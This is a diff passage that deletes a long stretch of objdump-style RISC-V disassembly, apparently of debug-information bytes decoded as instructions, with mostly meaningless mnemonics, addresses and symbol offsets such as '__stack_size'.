-    2e6a:	7ef1                	lui	t4,0xffffc
-    2e6c:	0000                	unimp
-    2e6e:	d604                	sw	s1,40(a2)
-    2e70:	00a5                	addi	ra,ra,9
-    2e72:	0200                	addi	s0,sp,256
-    2e74:	004f167b          	0x4f167b
-    2e78:	0000                	unimp
-    2e7a:	7905                	lui	s2,0xfffe1
-    2e7c:	0000                	unimp
-    2e7e:	0400                	addi	s0,sp,512
-    2e80:	0000a387          	flw	ft7,0(ra)
-    2e84:	8002                	0x8002
-    2e86:	00002c0f          	0x2c0f
-    2e8a:	0400                	addi	s0,sp,512
-    2e8c:	a386                	fsd	ft1,448(sp)
-    2e8e:	0000                	unimp
-    2e90:	8102                	jr	sp
-    2e92:	3316                	fld	ft6,352(sp)
-    2e94:	0000                	unimp
-    2e96:	0400                	addi	s0,sp,512
-    2e98:	a5df 0000 8402      	0x84020000a5df
-    2e9e:	00003a0f          	0x3a0f
-    2ea2:	0400                	addi	s0,sp,512
-    2ea4:	a5de                	fsd	fs7,200(sp)
-    2ea6:	0000                	unimp
-    2ea8:	8502                	jr	a0
-    2eaa:	2516                	fld	fa0,320(sp)
-    2eac:	0000                	unimp
-    2eae:	0200                	addi	s0,sp,256
-    2eb0:	0404                	addi	s1,sp,512
-    2eb2:	a415                	j	30d6 <__stack_size+0x28d6>
-    2eb4:	0000                	unimp
-    2eb6:	0802                	c.slli64	a6
-    2eb8:	00a40d03          	lb	s10,10(s0)
-    2ebc:	0200                	addi	s0,sp,256
-    2ebe:	0408                	addi	a0,sp,512
-    2ec0:	0000919b          	0x919b
-    2ec4:	1002                	c.slli	zero,0x20
-    2ec6:	00a41b03          	lh	s6,10(s0)
-    2eca:	0200                	addi	s0,sp,256
-    2ecc:	0320                	addi	s0,sp,392
-    2ece:	a3f9                	j	349c <__stack_size+0x2c9c>
-    2ed0:	0000                	unimp
-    2ed2:	4406                	lw	s0,64(sp)
-    2ed4:	080000a3          	sb	zero,129(zero) # 81 <__stack_size-0x77f>
-    2ed8:	ed02                	fsw	ft0,152(sp)
-    2eda:	0a01                	addi	s4,s4,0
-    2edc:	0108                	addi	a0,sp,128
-    2ede:	0000                	unimp
-    2ee0:	776f6c07          	0x776f6c07
-    2ee4:	0200                	addi	s0,sp,256
-    2ee6:	01ed                	addi	gp,gp,27
-    2ee8:	8a1a                	mv	s4,t1
-    2eea:	0000                	unimp
-    2eec:	0000                	unimp
-    2eee:	7908                	flw	fa0,48(a0)
-    2ef0:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    2ef4:	01ed                	addi	gp,gp,27
-    2ef6:	8a1f 0000 0400      	0x40000008a1f
-    2efc:	0900                	addi	s0,sp,144
-    2efe:	0208                	addi	a0,sp,256
-    2f00:	01f4                	addi	a3,sp,204
-    2f02:	2a09                	jal	3014 <__stack_size+0x2814>
-    2f04:	0001                	nop
-    2f06:	0a00                	addi	s0,sp,272
-    2f08:	f6020073          	0xf6020073
-    2f0c:	1301                	addi	t1,t1,-32
-    2f0e:	00dd                	addi	ra,ra,23
-    2f10:	0000                	unimp
-    2f12:	6c0a                	flw	fs8,128(sp)
-    2f14:	006c                	addi	a1,sp,12
-    2f16:	f702                	fsw	ft0,172(sp)
-    2f18:	0a01                	addi	s4,s4,0
-    2f1a:	00a2                	slli	ra,ra,0x8
-    2f1c:	0000                	unimp
-    2f1e:	0b00                	addi	s0,sp,400
-    2f20:	a3f1                	j	34ec <__stack_size+0x2cec>
-    2f22:	0000                	unimp
-    2f24:	f802                	fsw	ft0,48(sp)
-    2f26:	0301                	addi	t1,t1,0
-    2f28:	0108                	addi	a0,sp,128
-    2f2a:	0000                	unimp
-    2f2c:	2a05                	jal	305c <__stack_size+0x285c>
-    2f2e:	0001                	nop
-    2f30:	0c00                	addi	s0,sp,528
-    2f32:	0085                	addi	ra,ra,1
-    2f34:	0000                	unimp
-    2f36:	014c                	addi	a1,sp,132
-    2f38:	0000                	unimp
-    2f3a:	330d                	jal	2c5c <__stack_size+0x245c>
-    2f3c:	0000                	unimp
-    2f3e:	ff00                	fsw	fs0,56(a4)
-    2f40:	0500                	addi	s0,sp,640
-    2f42:	013c                	addi	a5,sp,136
-    2f44:	0000                	unimp
-    2f46:	b80e                	fsd	ft3,48(sp)
-    2f48:	00a5                	addi	ra,ra,9
-    2f4a:	0200                	addi	s0,sp,256
-    2f4c:	0202                	c.slli64	tp
-    2f4e:	4c16                	lw	s8,68(sp)
-    2f50:	0001                	nop
-    2f52:	0f00                	addi	s0,sp,912
-    2f54:	a616                	fsd	ft5,264(sp)
-    2f56:	0000                	unimp
-    2f58:	1a01                	addi	s4,s4,-32
-    2f5a:	0105                	addi	sp,sp,1
-    2f5c:	00ae                	slli	ra,ra,0xb
-    2f5e:	0000                	unimp
-    2f60:	4ed6                	lw	t4,84(sp)
-    2f62:	2040                	fld	fs0,128(s0)
-    2f64:	0340                	addi	s0,sp,388
-    2f66:	0000                	unimp
-    2f68:	9c01                	0x9c01
-    2f6a:	0494                	addi	a3,sp,576
-    2f6c:	0000                	unimp
-    2f6e:	7510                	flw	fa2,40(a0)
-    2f70:	0100                	addi	s0,sp,128
-    2f72:	051a                	slli	a0,a0,0x6
-    2f74:	ae14                	fsd	fa3,24(a2)
-    2f76:	0000                	unimp
-    2f78:	d400                	sw	s0,40(s0)
-    2f7a:	001c                	0x1c
-    2f7c:	1000                	addi	s0,sp,32
-    2f7e:	0076                	c.slli	zero,0x1d
-    2f80:	1a01                	addi	s4,s4,-32
-    2f82:	1f05                	addi	t5,t5,-31
-    2f84:	00ae                	slli	ra,ra,0xb
-    2f86:	0000                	unimp
-    2f88:	1d7c                	addi	a5,sp,700
-    2f8a:	0000                	unimp
-    2f8c:	7711                	lui	a4,0xfffe4
-    2f8e:	0100                	addi	s0,sp,128
-    2f90:	051c                	addi	a5,sp,640
-    2f92:	0000ae0b          	0xae0b
-    2f96:	0400                	addi	s0,sp,512
-    2f98:	001e                	c.slli	zero,0x7
-    2f9a:	1200                	addi	s0,sp,288
-    2f9c:	0494                	addi	a3,sp,576
-    2f9e:	0000                	unimp
-    2fa0:	4ed8                	lw	a4,28(a3)
-    2fa2:	2040                	fld	fs0,128(s0)
-    2fa4:	0468                	addi	a0,sp,524
-    2fa6:	0000                	unimp
-    2fa8:	1e01                	addi	t3,t3,-32
-    2faa:	0a05                	addi	s4,s4,1
-    2fac:	0004bc13          	sltiu	s8,s1,0
-    2fb0:	2c00                	fld	fs0,24(s0)
-    2fb2:	001e                	c.slli	zero,0x7
-    2fb4:	1300                	addi	s0,sp,416
-    2fb6:	04b1                	addi	s1,s1,12
-    2fb8:	0000                	unimp
-    2fba:	1e54                	addi	a3,sp,820
-    2fbc:	0000                	unimp
-    2fbe:	0004a613          	slti	a2,s1,0
-    2fc2:	bc00                	fsd	fs0,56(s0)
-    2fc4:	001e                	c.slli	zero,0x7
-    2fc6:	1400                	addi	s0,sp,544
-    2fc8:	0468                	addi	a0,sp,524
-    2fca:	0000                	unimp
-    2fcc:	c815                	beqz	s0,3000 <__stack_size+0x2800>
-    2fce:	0004                	0x4
-    2fd0:	1500                	addi	s0,sp,672
-    2fd2:	04d4                	addi	a3,sp,580
-    2fd4:	0000                	unimp
-    2fd6:	e015                	bnez	s0,2ffa <__stack_size+0x27fa>
-    2fd8:	0004                	0x4
-    2fda:	1600                	addi	s0,sp,800
-    2fdc:	04ec                	addi	a1,sp,588
-    2fde:	0000                	unimp
-    2fe0:	1f34                	addi	a3,sp,952
-    2fe2:	0000                	unimp
-    2fe4:	f816                	fsw	ft5,48(sp)
-    2fe6:	0004                	0x4
-    2fe8:	7e00                	flw	fs0,56(a2)
-    2fea:	001f 1600 0504      	0x5041600001f
-    2ff0:	0000                	unimp
-    2ff2:	00001fd3          	fadd.s	ft11,ft0,ft0,rtz
-    2ff6:	1016                	c.slli	zero,0x25
-    2ff8:	0005                	c.nop	1
-    2ffa:	6a00                	flw	fs0,16(a2)
-    2ffc:	0020                	addi	s0,sp,8
-    2ffe:	1600                	addi	s0,sp,800
-    3000:	051c                	addi	a5,sp,640
-    3002:	0000                	unimp
-    3004:	20f6                	fld	ft1,344(sp)
-    3006:	0000                	unimp
-    3008:	2816                	fld	fa6,320(sp)
-    300a:	0005                	c.nop	1
-    300c:	1400                	addi	s0,sp,544
-    300e:	0021                	c.nop	8
-    3010:	1600                	addi	s0,sp,800
-    3012:	0534                	addi	a3,sp,648
-    3014:	0000                	unimp
-    3016:	2128                	fld	fa0,64(a0)
-    3018:	0000                	unimp
-    301a:	4016                	0x4016
-    301c:	0005                	c.nop	1
-    301e:	4800                	lw	s0,16(s0)
-    3020:	0021                	c.nop	8
-    3022:	1600                	addi	s0,sp,800
-    3024:	0000054b          	fnmsub.s	fa0,ft0,ft0,ft0,rne
-    3028:	2166                	fld	ft2,88(sp)
-    302a:	0000                	unimp
-    302c:	5715                	li	a4,-27
-    302e:	0005                	c.nop	1
-    3030:	1700                	addi	s0,sp,928
-    3032:	00000563          	beqz	zero,303c <__stack_size+0x283c>
-    3036:	0480                	addi	s0,sp,576
-    3038:	0000                	unimp
-    303a:	025c                	addi	a5,sp,260
-    303c:	0000                	unimp
-    303e:	6816                	flw	fa6,68(sp)
-    3040:	0005                	c.nop	1
-    3042:	a500                	fsd	fs0,8(a0)
-    3044:	0021                	c.nop	8
-    3046:	1600                	addi	s0,sp,800
-    3048:	0575                	addi	a0,a0,29
-    304a:	0000                	unimp
-    304c:	000021c3          	fmadd.s	ft3,ft0,ft0,ft0,rdn
-    3050:	1800                	addi	s0,sp,48
-    3052:	00000583          	lb	a1,0(zero) # 0 <__stack_size-0x800>
-    3056:	4f2a                	lw	t5,136(sp)
-    3058:	2040                	fld	fs0,128(s0)
-    305a:	0056                	c.slli	zero,0x15
-    305c:	0000                	unimp
-    305e:	02a9                	addi	t0,t0,10
-    3060:	0000                	unimp
-    3062:	8816                	mv	a6,t0
-    3064:	0005                	c.nop	1
-    3066:	d600                	sw	s0,40(a2)
-    3068:	0021                	c.nop	8
-    306a:	1600                	addi	s0,sp,800
-    306c:	0595                	addi	a1,a1,5
-    306e:	0000                	unimp
-    3070:	21e9                	jal	353a <__stack_size+0x2d3a>
-    3072:	0000                	unimp
-    3074:	a215                	j	3198 <__stack_size+0x2998>
-    3076:	0005                	c.nop	1
-    3078:	1600                	addi	s0,sp,800
-    307a:	000005af          	0x5af
-    307e:	21fc                	fld	fa5,192(a1)
-    3080:	0000                	unimp
-    3082:	bc16                	fsd	ft5,56(sp)
-    3084:	0005                	c.nop	1
-    3086:	0f00                	addi	s0,sp,912
-    3088:	0022                	c.slli	zero,0x8
-    308a:	1600                	addi	s0,sp,800
-    308c:	05c9                	addi	a1,a1,18
-    308e:	0000                	unimp
-    3090:	222d                	jal	31ba <__stack_size+0x29ba>
-    3092:	0000                	unimp
-    3094:	d616                	sw	t0,44(sp)
-    3096:	0005                	c.nop	1
-    3098:	4b00                	lw	s0,16(a4)
-    309a:	0022                	c.slli	zero,0x8
-    309c:	0000                	unimp
-    309e:	0005e417          	auipc	s0,0x5e
-    30a2:	9800                	0x9800
-    30a4:	0004                	0x4
-    30a6:	c900                	sw	s0,16(a0)
-    30a8:	0002                	c.slli64	zero
-    30aa:	1600                	addi	s0,sp,800
-    30ac:	05e9                	addi	a1,a1,26
-    30ae:	0000                	unimp
-    30b0:	2269                	jal	323a <__stack_size+0x2a3a>
-    30b2:	0000                	unimp
-    30b4:	f616                	fsw	ft5,44(sp)
-    30b6:	0005                	c.nop	1
-    30b8:	8700                	0x8700
-    30ba:	0022                	c.slli	zero,0x8
-    30bc:	0000                	unimp
-    30be:	6518                	flw	fa4,8(a0)
-    30c0:	0006                	c.slli	zero,0x1
-    30c2:	ca00                	sw	s0,16(a2)
-    30c4:	5c20404f          	0x5c20404f
-    30c8:	0000                	unimp
-    30ca:	1a00                	addi	s0,sp,304
-    30cc:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    30d0:	066a                	slli	a2,a2,0x1a
-    30d2:	0000                	unimp
-    30d4:	229a                	fld	ft5,384(sp)
-    30d6:	0000                	unimp
-    30d8:	7716                	flw	fa4,100(sp)
-    30da:	0006                	c.slli	zero,0x1
-    30dc:	ad00                	fsd	fs0,24(a0)
-    30de:	0022                	c.slli	zero,0x8
-    30e0:	1600                	addi	s0,sp,800
-    30e2:	0684                	addi	s1,sp,832
-    30e4:	0000                	unimp
-    30e6:	22d1                	jal	32aa <__stack_size+0x2aaa>
-    30e8:	0000                	unimp
-    30ea:	9116                	add	sp,sp,t0
-    30ec:	0006                	c.slli	zero,0x1
-    30ee:	e400                	fsw	fs0,8(s0)
-    30f0:	0022                	c.slli	zero,0x8
-    30f2:	1600                	addi	s0,sp,800
-    30f4:	069e                	slli	a3,a3,0x7
-    30f6:	0000                	unimp
-    30f8:	000022f7          	0x22f7
-    30fc:	ab16                	fsd	ft5,400(sp)
-    30fe:	0006                	c.slli	zero,0x1
-    3100:	2000                	fld	fs0,0(s0)
-    3102:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    3106:	06b8                	addi	a4,sp,840
-    3108:	0000                	unimp
-    310a:	233e                	fld	ft6,456(sp)
-    310c:	0000                	unimp
-    310e:	1700                	addi	s0,sp,928
-    3110:	0604                	addi	s1,sp,768
-    3112:	0000                	unimp
-    3114:	04b0                	addi	a2,sp,584
-    3116:	0000                	unimp
-    3118:	00000367          	jalr	t1,zero # 0 <__stack_size-0x800>
-    311c:	0916                	slli	s2,s2,0x5
-    311e:	0006                	c.slli	zero,0x1
-    3120:	5c00                	lw	s0,56(s0)
-    3122:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    3126:	0616                	slli	a2,a2,0x5
-    3128:	0000                	unimp
-    312a:	0000236f          	jal	t1,512a <__stack_size+0x492a>
-    312e:	2316                	fld	ft6,320(sp)
-    3130:	0006                	c.slli	zero,0x1
-    3132:	9300                	0x9300
-    3134:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    3138:	0630                	addi	a2,sp,776
-    313a:	0000                	unimp
-    313c:	23a6                	fld	ft7,72(sp)
-    313e:	0000                	unimp
-    3140:	3d16                	fld	fs10,352(sp)
-    3142:	0006                	c.slli	zero,0x1
-    3144:	b900                	fsd	fs0,48(a0)
-    3146:	16000023          	sb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    314a:	064a                	slli	a2,a2,0x12
-    314c:	0000                	unimp
-    314e:	23e2                	fld	ft7,24(sp)
-    3150:	0000                	unimp
-    3152:	5716                	lw	a4,100(sp)
-    3154:	0006                	c.slli	zero,0x1
-    3156:	0000                	unimp
-    3158:	0024                	addi	s1,sp,8
-    315a:	0000                	unimp
-    315c:	0006c617          	auipc	a2,0x6c
-    3160:	d000                	sw	s0,32(s0)
-    3162:	0004                	0x4
-    3164:	8700                	0x8700
-    3166:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    316a:	000006cb          	fnmsub.s	fa3,ft0,ft0,ft0,rne
-    316e:	241e                	fld	fs0,448(sp)
-    3170:	0000                	unimp
-    3172:	d816                	sw	t0,48(sp)
-    3174:	0006                	c.slli	zero,0x1
-    3176:	3100                	fld	fs0,32(a0)
-    3178:	0024                	addi	s1,sp,8
-    317a:	0000                	unimp
-    317c:	e618                	fsw	fa4,8(a2)
-    317e:	0006                	c.slli	zero,0x1
-    3180:	e400                	fsw	fs0,8(s0)
-    3182:	4050                	lw	a2,4(s0)
-    3184:	0e20                	addi	s0,sp,792
-    3186:	0000                	unimp
-    3188:	a200                	fsd	fs0,0(a2)
-    318a:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
-    318e:	000006eb          	0x6eb
-    3192:	2444                	fld	fs1,136(s0)
-    3194:	0000                	unimp
-    3196:	1900                	addi	s0,sp,176
-    3198:	06f9                	addi	a3,a3,30
-    319a:	0000                	unimp
-    319c:	5104                	lw	s1,32(a0)
-    319e:	2040                	fld	fs0,128(s0)
-    31a0:	0112                	slli	sp,sp,0x4
-    31a2:	0000                	unimp
-    31a4:	fa1a                	fsw	ft6,52(sp)
-    31a6:	0006                	c.slli	zero,0x1
-    31a8:	0100                	addi	s0,sp,128
-    31aa:	165d                	addi	a2,a2,-9
-    31ac:	0706                	slli	a4,a4,0x1
-    31ae:	0000                	unimp
-    31b0:	00002457          	0x2457
-    31b4:	00071217          	auipc	tp,0x71
-    31b8:	e800                	fsw	fs0,16(s0)
-    31ba:	0004                	0x4
-    31bc:	0c00                	addi	s0,sp,528
-    31be:	0004                	0x4
-    31c0:	1600                	addi	s0,sp,800
-    31c2:	00000717          	auipc	a4,0x0
-    31c6:	2480                	fld	fs0,8(s1)
-    31c8:	0000                	unimp
-    31ca:	2416                	fld	fs0,320(sp)
-    31cc:	a2000007          	0xa2000007
-    31d0:	0024                	addi	s1,sp,8
-    31d2:	1600                	addi	s0,sp,800
-    31d4:	0731                	addi	a4,a4,12
-    31d6:	0000                	unimp
-    31d8:	24c6                	fld	fs1,80(sp)
-    31da:	0000                	unimp
-    31dc:	3e16                	fld	ft8,352(sp)
-    31de:	e4000007          	0xe4000007
-    31e2:	0024                	addi	s1,sp,8
-    31e4:	1600                	addi	s0,sp,800
-    31e6:	0000074b          	fnmsub.s	fa4,ft0,ft0,ft0,rne
-    31ea:	2502                	fld	fa0,0(sp)
-    31ec:	0000                	unimp
-    31ee:	5816                	lw	a6,100(sp)
-    31f0:	2b000007          	0x2b000007
-    31f4:	0025                	c.nop	9
-    31f6:	1600                	addi	s0,sp,800
-    31f8:	0765                	addi	a4,a4,25
-    31fa:	0000                	unimp
-    31fc:	2554                	fld	fa3,136(a0)
-    31fe:	0000                	unimp
-    3200:	1700                	addi	s0,sp,928
-    3202:	00000773          	0x773
-    3206:	0520                	addi	s0,sp,648
-    3208:	0000                	unimp
-    320a:	0460                	addi	s0,sp,524
-    320c:	0000                	unimp
-    320e:	7816                	flw	fa6,100(sp)
-    3210:	82000007          	0x82000007
-    3214:	0025                	c.nop	9
-    3216:	1600                	addi	s0,sp,800
-    3218:	0785                	addi	a5,a5,1
-    321a:	0000                	unimp
-    321c:	2595                	jal	3880 <__stack_size+0x3080>
-    321e:	0000                	unimp
-    3220:	9216                	add	tp,tp,t0
-    3222:	ba000007          	0xba000007
-    3226:	0025                	c.nop	9
-    3228:	1600                	addi	s0,sp,800
-    322a:	079f 0000 25cd      	0x25cd0000079f
-    3230:	0000                	unimp
-    3232:	ac16                	fsd	ft5,24(sp)
-    3234:	e0000007          	0xe0000007
-    3238:	0025                	c.nop	9
-    323a:	1600                	addi	s0,sp,800
-    323c:	07b9                	addi	a5,a5,14
-    323e:	0000                	unimp
-    3240:	000025f3          	csrr	a1,ustatus
-    3244:	c616                	sw	t0,12(sp)
-    3246:	36000007          	0x36000007
-    324a:	0026                	c.slli	zero,0x9
-    324c:	1a00                	addi	s0,sp,304
-    324e:	000007d3          	fadd.s	fa5,ft0,ft0,rne
-    3252:	5e01                	li	t3,-32
-    3254:	1800                	addi	s0,sp,48
-    3256:	07e1                	addi	a5,a5,24
-    3258:	0000                	unimp
-    325a:	51ea                	lw	gp,184(sp)
-    325c:	2040                	fld	fs0,128(s0)
-    325e:	000e                	c.slli	zero,0x3
-    3260:	0000                	unimp
-    3262:	0000047b          	0x47b
-    3266:	e616                	fsw	ft5,12(sp)
-    3268:	49000007          	0x49000007
-    326c:	0026                	c.slli	zero,0x9
-    326e:	0000                	unimp
-    3270:	f419                	bnez	s0,317e <__stack_size+0x297e>
-    3272:	f8000007          	0xf8000007
-    3276:	4051                	c.li	zero,20
-    3278:	0c20                	addi	s0,sp,536
-    327a:	0000                	unimp
-    327c:	1a00                	addi	s0,sp,304
-    327e:	07f5                	addi	a5,a5,29
-    3280:	0000                	unimp
-    3282:	5f01                	li	t5,-32
-    3284:	0000                	unimp
-    3286:	0000                	unimp
-    3288:	1b00                	addi	s0,sp,432
-    328a:	a5f5                	j	3976 <__stack_size+0x3176>
-    328c:	0000                	unimp
-    328e:	f701                	bnez	a4,3196 <__stack_size+0x2996>
-    3290:	00ae0103          	lb	sp,10(t3) # 1a00a <__stack_size+0x1980a>
-    3294:	0000                	unimp
-    3296:	00080503          	lb	a0,0(a6)
-    329a:	1c00                	addi	s0,sp,560
-    329c:	006e                	c.slli	zero,0x1b
-    329e:	f701                	bnez	a4,31a6 <__stack_size+0x29a6>
-    32a0:	00ae1703          	lh	a4,10(t3)
-    32a4:	0000                	unimp
-    32a6:	641c                	flw	fa5,8(s0)
-    32a8:	0100                	addi	s0,sp,128
-    32aa:	ae2203f7          	0xae2203f7
-    32ae:	0000                	unimp
-    32b0:	1c00                	addi	s0,sp,560
-    32b2:	7072                	flw	ft0,60(sp)
-    32b4:	0100                	addi	s0,sp,128
-    32b6:	052e03f7          	0x52e03f7
-    32ba:	0008                	0x8
-    32bc:	1d00                	addi	s0,sp,688
-    32be:	6e6e                	flw	ft8,216(sp)
-    32c0:	0100                	addi	s0,sp,128
-    32c2:	03f9                	addi	t2,t2,30
-    32c4:	3711                	jal	31c8 <__stack_size+0x29c8>
-    32c6:	0001                	nop
-    32c8:	1d00                	addi	s0,sp,688
-    32ca:	6464                	flw	fs1,76(s0)
-    32cc:	0100                	addi	s0,sp,128
-    32ce:	03fa                	slli	t2,t2,0x1e
-    32d0:	3711                	jal	31d4 <__stack_size+0x29d4>
-    32d2:	0001                	nop
-    32d4:	1d00                	addi	s0,sp,688
-    32d6:	7272                	flw	ft4,60(sp)
-    32d8:	0100                	addi	s0,sp,128
-    32da:	2a0b03fb          	0x2a0b03fb
-    32de:	0001                	nop
-    32e0:	1d00                	addi	s0,sp,688
-    32e2:	3064                	fld	fs1,224(s0)
-    32e4:	0100                	addi	s0,sp,128
-    32e6:	03fc                	addi	a5,sp,460
-    32e8:	960a                	add	a2,a2,sp
-    32ea:	0000                	unimp
-    32ec:	1d00                	addi	s0,sp,688
-    32ee:	3164                	fld	fs1,224(a0)
-    32f0:	0100                	addi	s0,sp,128
-    32f2:	03fc                	addi	a5,sp,460
-    32f4:	960e                	add	a2,a2,gp
-    32f6:	0000                	unimp
-    32f8:	1d00                	addi	s0,sp,688
-    32fa:	306e                	fld	ft0,248(sp)
-    32fc:	0100                	addi	s0,sp,128
-    32fe:	03fc                	addi	a5,sp,460
-    3300:	9612                	add	a2,a2,tp
-    3302:	0000                	unimp
-    3304:	1d00                	addi	s0,sp,688
-    3306:	316e                	fld	ft2,248(sp)
-    3308:	0100                	addi	s0,sp,128
-    330a:	03fc                	addi	a5,sp,460
-    330c:	9616                	add	a2,a2,t0
-    330e:	0000                	unimp
-    3310:	1d00                	addi	s0,sp,688
-    3312:	326e                	fld	ft4,248(sp)
-    3314:	0100                	addi	s0,sp,128
-    3316:	03fc                	addi	a5,sp,460
-    3318:	961a                	add	a2,a2,t1
-    331a:	0000                	unimp
-    331c:	1d00                	addi	s0,sp,688
-    331e:	3071                	jal	2baa <__stack_size+0x23aa>
-    3320:	0100                	addi	s0,sp,128
-    3322:	03fd                	addi	t2,t2,31
-    3324:	960a                	add	a2,a2,sp
-    3326:	0000                	unimp
-    3328:	1d00                	addi	s0,sp,688
-    332a:	3171                	jal	2fb6 <__stack_size+0x27b6>
-    332c:	0100                	addi	s0,sp,128
-    332e:	03fd                	addi	t2,t2,31
-    3330:	960e                	add	a2,a2,gp
-    3332:	0000                	unimp
-    3334:	1d00                	addi	s0,sp,688
-    3336:	0062                	c.slli	zero,0x18
-    3338:	fe01                	bnez	a2,3250 <__stack_size+0x2a50>
-    333a:	00960a03          	lb	s4,9(a2) # 6f165 <__stack_size+0x6e965>
-    333e:	0000                	unimp
-    3340:	621d                	lui	tp,0x7
-    3342:	006d                	c.nop	27
-    3344:	fe01                	bnez	a2,325c <__stack_size+0x2a5c>
-    3346:	00960d03          	lb	s10,9(a2)
-    334a:	0000                	unimp
-    334c:	771d                	lui	a4,0xfffe7
-    334e:	c7010077          	0xc7010077
-    3352:	1104                	addi	s1,sp,160
-    3354:	00000137          	lui	sp,0x0
-    3358:	831e                	mv	t1,t2
-    335a:	0005                	c.nop	1
-    335c:	1f00                	addi	s0,sp,944
-    335e:	a5f0                	fsd	fa2,200(a1)
-    3360:	0000                	unimp
-    3362:	2e01                	jal	3672 <__stack_size+0x2e72>
-    3364:	0404                	addi	s1,sp,512
-    3366:	0096                	slli	ra,ra,0x5
-    3368:	0000                	unimp
-    336a:	5f1d                	li	t5,-25
-    336c:	615f 0100 042e      	0x42e0100615f
-    3372:	9604                	0x9604
-    3374:	0000                	unimp
-    3376:	0000                	unimp
-    3378:	e41e                	fsw	ft7,8(sp)
-    337a:	0005                	c.nop	1
-    337c:	1f00                	addi	s0,sp,944
-    337e:	a5a9                	j	39c8 <__stack_size+0x31c8>
-    3380:	0000                	unimp
-    3382:	3a01                	jal	2c92 <__stack_size+0x2492>
-    3384:	0404                	addi	s1,sp,512
-    3386:	0096                	slli	ra,ra,0x5
-    3388:	0000                	unimp
-    338a:	a41f 00a5 0100      	0x10000a5a41f
-    3390:	043a                	slli	s0,s0,0xe
-    3392:	9604                	0x9604
-    3394:	0000                	unimp
-    3396:	1f00                	addi	s0,sp,944
-    3398:	0000a5eb          	0xa5eb
-    339c:	3a01                	jal	2cac <__stack_size+0x24ac>
-    339e:	0404                	addi	s1,sp,512
-    33a0:	0096                	slli	ra,ra,0x5
-    33a2:	0000                	unimp
-    33a4:	e61f 00a5 0100      	0x10000a5e61f
-    33aa:	043a                	slli	s0,s0,0xe
-    33ac:	9604                	0x9604
-    33ae:	0000                	unimp
-    33b0:	1f00                	addi	s0,sp,944
-    33b2:	0000a607          	flw	fa2,0(ra)
-    33b6:	3a01                	jal	2cc6 <__stack_size+0x24c6>
-    33b8:	0404                	addi	s1,sp,512
-    33ba:	0096                	slli	ra,ra,0x5
-    33bc:	0000                	unimp
-    33be:	021f 00a6 0100      	0x10000a6021f
-    33c4:	043a                	slli	s0,s0,0xe
-    33c6:	9604                	0x9604
-    33c8:	0000                	unimp
-    33ca:	1d00                	addi	s0,sp,688
-    33cc:	5f5f 006d 3a01      	0x3a01006d5f5f
-    33d2:	0404                	addi	s1,sp,512
-    33d4:	0096                	slli	ra,ra,0x5
-    33d6:	0000                	unimp
-    33d8:	1e00                	addi	s0,sp,816
-    33da:	0604                	addi	s1,sp,768
-    33dc:	0000                	unimp
-    33de:	f01f 00a5 0100      	0x10000a5f01f
-    33e4:	0446                	slli	s0,s0,0x11
-    33e6:	9604                	0x9604
-    33e8:	0000                	unimp
-    33ea:	1d00                	addi	s0,sp,688
-    33ec:	5f5f 0061 4601      	0x460100615f5f
-    33f2:	0404                	addi	s1,sp,512
-    33f4:	0096                	slli	ra,ra,0x5
-    33f6:	0000                	unimp
-    33f8:	1e00                	addi	s0,sp,816
-    33fa:	0665                	addi	a2,a2,25
-    33fc:	0000                	unimp
-    33fe:	a91f 00a5 0100      	0x10000a5a91f
-    3404:	045f 9608 0000      	0x9608045f
-    340a:	1f00                	addi	s0,sp,944
-    340c:	a5a4                	fsd	fs1,72(a1)
-    340e:	0000                	unimp
-    3410:	5f01                	li	t5,-32
-    3412:	0804                	addi	s1,sp,16
-    3414:	0096                	slli	ra,ra,0x5
-    3416:	0000                	unimp
-    3418:	eb1f 00a5 0100      	0x10000a5eb1f
-    341e:	045f 9608 0000      	0x9608045f
-    3424:	1f00                	addi	s0,sp,944
-    3426:	a5e6                	fsd	fs9,200(sp)
-    3428:	0000                	unimp
-    342a:	5f01                	li	t5,-32
-    342c:	0804                	addi	s1,sp,16
-    342e:	0096                	slli	ra,ra,0x5
-    3430:	0000                	unimp
-    3432:	071f 00a6 0100      	0x10000a6071f
-    3438:	045f 9608 0000      	0x9608045f
-    343e:	1f00                	addi	s0,sp,944
-    3440:	a602                	fsd	ft0,264(sp)
-    3442:	0000                	unimp
-    3444:	5f01                	li	t5,-32
-    3446:	0804                	addi	s1,sp,16
-    3448:	0096                	slli	ra,ra,0x5
-    344a:	0000                	unimp
-    344c:	5f1d                	li	t5,-25
-    344e:	6d5f 0100 045f      	0x45f01006d5f
-    3454:	9608                	0x9608
-    3456:	0000                	unimp
-    3458:	0000                	unimp
-    345a:	c61e                	sw	t2,12(sp)
-    345c:	0006                	c.slli	zero,0x1
-    345e:	1f00                	addi	s0,sp,944
-    3460:	a5a9                	j	3aaa <__stack_size+0x32aa>
-    3462:	0000                	unimp
-    3464:	6401                	0x6401
-    3466:	0404                	addi	s1,sp,512
-    3468:	0096                	slli	ra,ra,0x5
-    346a:	0000                	unimp
-    346c:	a41f 00a5 0100      	0x10000a5a41f
-    3472:	0464                	addi	s1,sp,524
-    3474:	9604                	0x9604
-    3476:	0000                	unimp
-    3478:	1f00                	addi	s0,sp,944
-    347a:	0000a5eb          	0xa5eb
-    347e:	6401                	0x6401
-    3480:	0404                	addi	s1,sp,512
-    3482:	0096                	slli	ra,ra,0x5
-    3484:	0000                	unimp
-    3486:	e61f 00a5 0100      	0x10000a5e61f
-    348c:	0464                	addi	s1,sp,524
-    348e:	9604                	0x9604
-    3490:	0000                	unimp
-    3492:	1f00                	addi	s0,sp,944
-    3494:	0000a607          	flw	fa2,0(ra)
-    3498:	6401                	0x6401
-    349a:	0404                	addi	s1,sp,512
-    349c:	0096                	slli	ra,ra,0x5
-    349e:	0000                	unimp
-    34a0:	021f 00a6 0100      	0x10000a6021f
-    34a6:	0464                	addi	s1,sp,524
-    34a8:	9604                	0x9604
-    34aa:	0000                	unimp
-    34ac:	1d00                	addi	s0,sp,688
-    34ae:	5f5f 006d 6401      	0x6401006d5f5f
-    34b4:	0404                	addi	s1,sp,512
-    34b6:	0096                	slli	ra,ra,0x5
-    34b8:	0000                	unimp
